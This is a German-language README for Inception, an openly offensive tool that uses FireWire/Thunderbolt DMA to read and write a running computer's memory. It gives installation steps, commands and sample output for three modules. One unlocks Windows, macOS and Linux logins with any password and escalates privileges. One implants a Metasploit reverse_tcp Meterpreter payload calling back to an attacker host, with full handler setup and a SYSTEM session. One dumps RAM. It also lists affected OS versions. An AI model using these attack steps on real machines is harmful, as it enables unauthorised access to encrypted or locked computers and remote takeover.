
Inception ist ein Tool zur Manipulation von physischem Speicher und zum Hacken, das PCI-basiertes DMA ausnutzt. Das Tool kann über FireWire, Thunderbolt, ExpressCard, PC Card und andere PCI/PCIe-Schnittstellen angreifen.
Hinweis: Dieses Tool wird nicht mehr aktiv weiterentwickelt. Bitte schauen Sie sich stattdessen PCILeech an.
Inception ist ein Tool zur Manipulation und zum Hacken von physischem Arbeitsspeicher, das PCI-basiertes DMA ausnutzt. Das Tool kann über FireWire, Thunderbolt, ExpressCard, PC Card und andere PCI/PCIe-HW-Schnittstellen angreifen.
Inception zielt darauf ab, eine relativ schnelle, stabile, einfache und erweiterbare Möglichkeit zu bieten, intrusive und nicht-intrusive Speicher-Hacks gegen laufende Computer mittels DMA durchzuführen.
Die Module von Inception funktionieren wie folgt: Indem dem Opfer-Rechner über eine IEEE1394-FireWire-Schnittstelle ein Serial-Bus-Protocol-2 (SBP-2)-Unit-Directory präsentiert wird, denkt das Betriebssystem des Opfers, dass ein SBP-2-Gerät an den FireWire-Port angeschlossen wurde. Da SBP-2-Geräte Direct Memory Access (DMA) für schnelle, große Datenübertragungen nutzen (z. B. FireWire-Festplatten und digitale Camcorder), senkt das Opfer seine Schutzmechanismen und aktiviert DMA für das Gerät. Das Tool hat nun vollen Lese-/Schreibzugriff auf die unteren 4 GB RAM des Opfers.
Sobald DMA gewährt wird, durchsucht das Tool verfügbare Speicherseiten nach Signaturen an bestimmten Offsets im Code des Betriebssystems. Sobald diese gefunden werden, manipuliert das Tool diesen Code. Im Entsperrmodul beispielsweise schließt das Tool das Passwort-Authentifizierungsmodul des Betriebssystems kurz, das bei Eingabe eines falschen Passworts ausgelöst wird.
Nach Ausführung dieses Moduls sollten Sie sich mit jedem beliebigen Passwort am Opfer-Rechner anmelden können.
Eine Analogie für diesen Vorgang ist das Einpflanzen einer Idee in den Speicher der Maschine: der Idee, dass jedes Passwort korrekt ist. Mit anderen Worten, das Äquivalent einer [Speicher-Inception] 1.
Inception ist frei wie in ‚umsonst‘ und ein Nebenprojekt von mir.
Forensik-Experten, Regierungen und Drei-Buchstaben-Agenturen auf der ganzen Welt verwenden bereits [ähnliche Tools] 2. Wenn Sie also ein Dissident sind oder einem repressiven Regime gegenüberstehen, zeigt dieses Tool, warum OPSEC wichtig ist. Lassen Sie Ihren Laptop niemals unbeaufsichtigt.
[OS X > 10.7.2] 6 und [Windows > 8.1] 7 deaktivieren FireWire-DMA, wenn der Benutzer das Betriebssystem gesperrt hat, und verhindern so Inception. Das Tool funktioniert weiterhin, solange ein Benutzer angemeldet ist. Dies ist jedoch ein weniger wahrscheinliches Angriffsszenario im echten Leben.
Darüber hinaus wurde bei [OS X Mavericks > 10.8.2 auf Ivy Bridge (>= 2012 Macs)] 8 VT-D aktiviert, was DMA-Anfragen effektiv blockiert und alle Inception-Module selbst bei angemeldetem Benutzer vereitelt. Achten Sie auf vtd[0] fault-Einträge in Ihrem Log/Konsolen-Ausgabe.
Auch wenn diese beiden Einschränkungen die Anzahl der Szenarien, in denen dieses Tool nützlich ist, allmählich reduzieren werden, sind Stand März 2015 noch [70 % der Rechner da draußen anfällig] 9.
Das Tool verwendet die libforensic1394-Bibliothek, freundlicherweise bereitgestellt von Freddie Witherden unter einer LGPL-Lizenz.
Inception benötigt:
Linux wird derzeit auf der Angreiferseite empfohlen, da die FireWire-Schnittstellen unter OS X fehlerhaft sind. Beachten Sie, dass direkte Thunderbolt-zu-Thunderbolt-Verbindungen nicht funktionieren, Sie benötigen einen FireWire-Adapter. Ihre Erfahrungen bei der Verwendung von Thunderbolt unter Linux können abweichen.
Auf Debian-basierten Distributionen können die Installationsbefehle wie folgt zusammengefasst werden (verwenden Sie sudo nach Bedarf, wenn Sie nicht root sind):
apt-get install git cmake g++ python3 python3-pip
Unter OS X können Sie die Tool-Anforderungen mit [homebrew] 4 installieren:
brew install git cmake python3
Nach der Installation der Anforderungen laden Sie libforensic1394 herunter und installieren Sie es:
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install
Das Setup-Skript sollte in der Lage sein, Abhängigkeiten zu installieren, wenn Sie pip installiert haben.
Geben Sie einfach ein:
incept [Modulname]
Für eine vollständigere und aktuelle Beschreibung führen Sie bitte aus:
incept -h
oder schauen Sie auf der [Tool-Startseite] 5 nach.
Ab Version 0.4.0 wurde Inception modularisiert. Die aktuellen Module und ihre Funktionalität werden im Folgenden beschrieben.
Für detaillierte Optionen zur Verwendung führen Sie aus:
incept [Modulname] -h
Das unlock-Modul kann fast* jeden eingeschalteten Rechner, zu dem Sie physischen Zugriff haben, entsperren (jedes Passwort wird akzeptiert) und die Berechtigungen auf Administrator/Root erhöhen. Das Modul ist in erster Linie darauf ausgelegt, seine Magie gegen Computer zu vollbringen, die eine vollständige Festplattenverschlüsselung wie BitLocker, FileVault, TrueCrypt oder Pointsec verwenden. Es gibt viele andere (und bessere) Möglichkeiten, einen Rechner zu hacken, der keine Verschlüsselung verwendet.
Das Entsperrmodul ist stabil auf Rechnern mit 4 GiB Hauptspeicher oder weniger. Wenn Ihr Ziel mehr als das hat, müssen Sie Glück haben, um die Signaturen zu finden, die auf einen physischen Speicherseitenrahmen abgebildet sind, den das Tool erreichen kann.
Ab dieser Version kann es die folgenden x86- und x64-Betriebssysteme entsperren:
(1): Siehe Einschränkungen oben.
Andere Linux-Distributionen, die PAM-basierte Authentifizierung verwenden, funktionieren möglicherweise ebenfalls mit den Ubuntu-Signaturen.
Das Modul ermöglicht auch effektiv die Privilegienausweitung, beispielsweise über die runas- bzw. sudo -s-Befehle.
Zum Entsperren geben Sie einfach ein:
incept unlock
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):
[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation
[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============> ] 227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
Das implant-Modul implantiert ein (nur im Speicher befindliches) Metasploit-Payload direkt in den flüchtigen Speicher des Zielrechners. Es integriert sich mit MSF über den msfrpcd-Daemon, der in allen Versionen von Metasploit enthalten ist.
Die aktuelle Version funktioniert nur als Proof-of-Concept gegen Windows 7 SP1 x86. Keine anderen Betriebssysteme, Versionen oder Architekturen werden unterstützt, und es gibt auch keine Garantie, dass sie in Zukunft unterstützt werden.
Um es zu verwenden, starten Sie msfrpcd:
msfrpcd -P [Passwort]
Starten Sie dann Inception in einem anderen Terminal:
incept implant --msfpw [Passwort] --msfopts [Optionen]
Als Beispiel: Um eine Reverse-TCP-Meterpreter-Shell vom Zielrechner zu Ihrem Angreifer-Host zu erstellen, starten Sie zuerst den msfrpcd-Daemon und starten dann eine Konsole, die auf Rückrufe wartet.
msfrpcd -P password
msfconsole
In der Konsole konfigurieren wir die Empfängerseite des Payloads. Wir setzen die Option EXITFUNC auf thread, um sicherzustellen, dass der Zielprozess am Leben bleibt, falls etwas schief geht:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j
Dann starten wir Inception in einem anderen Terminal:
incept implant --msfpw password --msfopts LHOST=172.16.1.1
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[!] This module currently only work as a proof-of-concept against Windows 7 SP1
x86. No other OSes, versions or architectures are supported, nor is there
any guarantee that they will be supported in the future.
[?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp
[*] Selected options:
[*] LPORT: 4444
[*] LHOST: 172.16.1.1
[*] EXITFUNC: thread
[*] Stage 1: Searcing for injection point
[================================> ] 537 MiB ( 53%)
[*] Signature found at 0x219d118c in page no. 137681
[*] Patching at 0x219d118c
[\] Waiting to ensure stage 1 execution
[*] Restoring memory at initial injection point
[*] Stage 2: Searching for page allocated in stage 1
[=========================> ] 434 MiB ( 42%)
[*] Signature found at 0x1b2d9000 in page no. 111321
[*] Patching at 0x1b2d9000
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
In Ihrer MSF-Konsole sollten Sie etwas Ähnliches sehen:
msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6 172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Das dump-Modul ermöglicht das Auslesen des Speichers vom Ziel auf den angreifenden Host.
incept dump
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[*] Dumping from 0x0 to 0x40000000, a total of 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] Dumped memory to file memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
Bitte beachten Sie die Kommentare oben und die [Tool-Startseite] 5.
Bitte schauen Sie auf der [Tool-Startseite] 5 nach.
Füge mit diesem Tool kein Unheil zu. Außerdem bin ich ein Pentester, kein Entwickler. Wenn Sie also seltsamen Code sehen, der Ihre pythonischen Reinheitsgefühle stört, hinterlassen Sie mir eine Notiz, wie ich ihn verbessern kann. Oder noch besser: Forken Sie meinen Code, ändern Sie ihn und erstellen Sie einen Pull-Request.
| Betriebssystem | Version | Bildschirmsperre entsperren | Berechtigungen erhöhen |
|---|
| Windows 8 | 8.1 | Ja (1) | Ja (1) |
| Windows 8 | 8.0 | Ja | Ja |
| Windows 7 | SP1 | Ja | Ja |
| Windows 7 | SP0 | Ja | Ja |
| Windows Vista | SP2 | Ja | Ja |
| Windows Vista | SP1 | Ja | Ja |
| Windows Vista | SP0 | Ja | Ja |
| Windows XP | SP3 | Ja | Ja |
| Windows XP | SP2 | Ja | Ja |
| Windows XP | SP1 | ||
| Windows XP | SP0 | ||
| Mac OS X | Mavericks | Ja (1) | Ja (1) |
| Mac OS X | Mountain Lion | Ja (1) | Ja (1) |
| Mac OS X | Lion | Ja (1) | Ja (1) |
| Mac OS X | Snow Leopard | Ja | Ja |
| Mac OS X | Leopard | ||
| Ubuntu | Saucy | Ja | Ja |
| Ubuntu | Raring | Ja | Ja |
| Ubuntu | Quantal | Ja | Ja |
| Ubuntu | Precise | Ja | Ja |
| Ubuntu | Oneiric | Ja | Ja |
| Ubuntu | Natty | Ja | Ja |
| Linux Mint | 13 | Ja | Ja |
| Linux Mint | 12 | Ja | Ja |
| Linux Mint | 12 | Ja | Ja |